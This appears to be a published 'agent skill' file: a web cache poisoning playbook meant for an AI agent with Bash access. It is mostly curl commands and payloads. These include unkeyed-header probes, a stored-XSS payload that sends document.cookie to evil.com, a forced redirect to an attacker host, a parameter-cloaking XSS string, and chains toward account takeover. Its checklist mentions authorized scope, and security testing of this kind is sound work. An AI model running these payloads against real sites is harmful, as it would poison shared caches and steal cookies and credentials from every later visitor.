AGENT SKILL

web-cache-poisoning

Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.

License 许可
MIT
最近更新
2026-06-15
Stars
★ 0
Forks
0

01 前言 Front Matter

name
web-cache-poisoning
metadata
{ "tags": "web-application, cache, cdn, unkeyed-input, stored-xss", "subdomain": "execution", "when_to_use": "cache poisoning unkeyed header x-forwarded-host x-forwarded-scheme x-original-url param miner fat get cdn varnish cloudflare", "mitre_attack": "T1565.001" }
description
Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.
allowed-tools
Bash Read Write

03 SKILL.md 正文

Web Cache Poisoning Playbook

Distinct from cache deception (tricking the cache into storing a victim's private response). Here, the attacker poisons the shared cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS.

1. Detection — find unkeyed inputs

Definition: an unkeyed input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response.

URL="https://<TARGET>/"

# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"

# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
         "X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
         "X-Host: evil.com" "X-Original-URL: /admin" \
         "X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
         "Forwarded: host=evil.com"; do
  echo "== $H =="
  curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done

# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com"   # if present → poisoned

2. Misconfig / technique matrix

Class Trigger Outcome
Standard unkeyed header X-Forwarded-Host: evil.com reflected into <link rel=canonical> or absolute URLs stored open-redirect / XSS
Scheme downgrade X-Forwarded-Scheme: http reflected force-HTTP cache → MITM
Port confusion X-Forwarded-Port: 1 reflected into JS asset URLs broken site DoS
Routing override X-Original-URL: /admin, X-Rewrite-URL cached admin page served to public
Fat GET GET with a body parsed by origin but unkeyed by cache inject params via body
Parameter cloaking ?utm=x&utm=<payload> — cache normalizes, origin doesn't (or vice-versa) poisoned param survives
Key normalization flaw cache lowercases path, origin doesn't (or strips ;jsessionid) desync key vs. response
Cache-key injection via Vary gap response varies on header cache doesn't include per-attacker poisoning
HTTP/0.9 / smuggling-assist downstream cache stores smuggled response mass poisoning
Cache-Control overlap origin returns Cache-Control: private, CDN ignores it private response cached globally
Oversized-header DoS huge unkeyed header → origin 400, CDN caches 400 denial-of-service on the URL
404 / error caching error page cached with attacker payload reflected DoS + stored XSS

3. Exploit PoC

3.1 Stored-XSS via unkeyed Host

# Origin reflects X-Forwarded-Host into <meta property="og:url">
curl -s "https://<TARGET>/?cb=$RANDOM" \
  -H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
# Verify cache HIT for the next visitor:
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'

3.2 Forced redirect

curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
# Subsequent victims:
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
# → Location: https://evil.com/login  (cached for the TTL)

3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins)

curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"

4. Chains

  • Cache poisoning → stored XSS: reflected XSS upgraded to mass-victim impact via cached response.
  • Cache poisoning → ATO: poison /login to send creds to attacker via swapped form action.
  • Cache poisoning → SSRF: poison API responses an internal job consumes.
  • Smuggling → cache poisoning: HTTP request smuggling stores arbitrary attacker response globally.

5. Tools

  • Burp Suite — Param Miner extension (Hackvertor + cache rules) — the canonical tool
  • cache-poisoning payload lists (PortSwigger research)
  • httpx -follow-redirects -title -tech-detect for fingerprinting Vary/X-Cache

6. Detection signatures & OPSEC

Indicator Detection method OPSEC note
Repeated X-Forwarded-* permutations on one URL WAF rule / access log Cache-bust with ?cb=$RANDOM per probe; do NOT poison shared paths during tests
Sudden cache HIT containing attacker host CDN log review Use a unique sentinel host you can prove you own
Mass Age: 0 on poisoned paths CDN metric Coordinate purge with the defender before disclosure

Decision Gate: poisoning confirmed → exploitation

  • [ ] Caching layer present (X-Cache: HIT, Age: ticks)
  • [ ] At least one unkeyed input reflects into response/redirect
  • [ ] A second request without the input still returns the poisoned response
  • [ ] Reflected payload reaches a security-sensitive sink (script, Location, form action)
  • [ ] Defender notified before live-cache exploitation (authorized scope) If all checked, escalate per finding-protocol; otherwise downgrade.

04 同仓库更多 Skills